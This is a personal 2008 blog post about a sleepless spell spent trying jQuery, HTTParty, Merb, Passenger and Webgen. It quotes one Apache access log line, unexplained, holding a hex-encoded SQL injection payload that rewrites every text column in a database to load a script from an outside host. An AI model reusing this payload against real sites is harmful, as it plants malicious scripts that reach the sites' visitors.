Contrary to what you might think, I think insomnia's fantastic. It puts me in this limbo state where my mind feels like lead and I suck at almost everything. One thing I've found myself to be quite good at is catching up on Internet. There was plenty of crap, but I found a lot of good technical stuff.
For starters, I subscribed to a bunch of new blogs:
I played with Google Analytics a bit, and noticed a fun bit in my Apache access logs:
81.164.83.227 - - [17/Aug/2008:15:32:31 +0000] "GET /?;DeCLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661 726368617228323535292C40432076617263686172283430303029204445434C4152452 05461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E61 6D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D 6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752 720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622 E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C6 55F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736 F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302 920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B 40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C7363726970742073 72633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223 E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6 520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F77777 7332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27 2727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2 040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F434 15445205461626C655F437572736F72%20AS%20CHAR(4000));ExEC(@S); HTTP/1.1" 200 61318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)"
I also had a blast playing with jQuery. The docs were clear and well organized. All the selectors were exactly what I wanted. It was easy to chain together what I wanted to do because of the methods return jQuery objects. The callbacks were also intuitive and easy to manipulate... even for a Javascript newbie.
Another library which I fell in love with at first site was HTTParty. It really brings me back to my Perl screen scrapping days. (Oh! WWW::Mechanize) It also linked me to the Programmable Web homepage. I didn't really read through what's available, but this is going to be a great place to prototype mashups.
Seeing all this good stuff made me look for an excuse to write something to solidify the basics in my head. The result is a half-assed mish-mash of Javascript and Ruby ala jQuery and Merb. I used Merb instead of Rails because I was too lazy to create a database. Surprisingly enough, Passenger supports Merb just fine. I looked at some of the other lighter Ruby web frameworks, and they were all pretty fun. I noted that the new Webgen installed Ramaze as a dependency. Check it out if you're feeling hyphy.
(Disclaimer: This is an inside joke that just won't die)
Speaking of Passenger, the new Railscast episode about Passenger along with nuby on rails' article about rstakeout might finally provide a solution to prevent me from having to restart my server in development whenever I edit a plugin or a file in the lib directory. It also clued me into a whole world of Ruby monitoring systems, the funniest named one being God.
I worked a bunch on migrating this blog over to use Webgen. I'd say that I'm about 60 or 70 percent of the way there. I spent most of the time just reading and enjoying how simple and clear the code was. I think I have a good enough grip on enough code that I'd like to write a few extensions so that I can continue to publish this blog without any changes to the previous articles I wrote.
I think there was even more stuff I wanted to keep in my head. Unforunately, a real downside of insomnia is having some, if not most, of the good stuff leak out.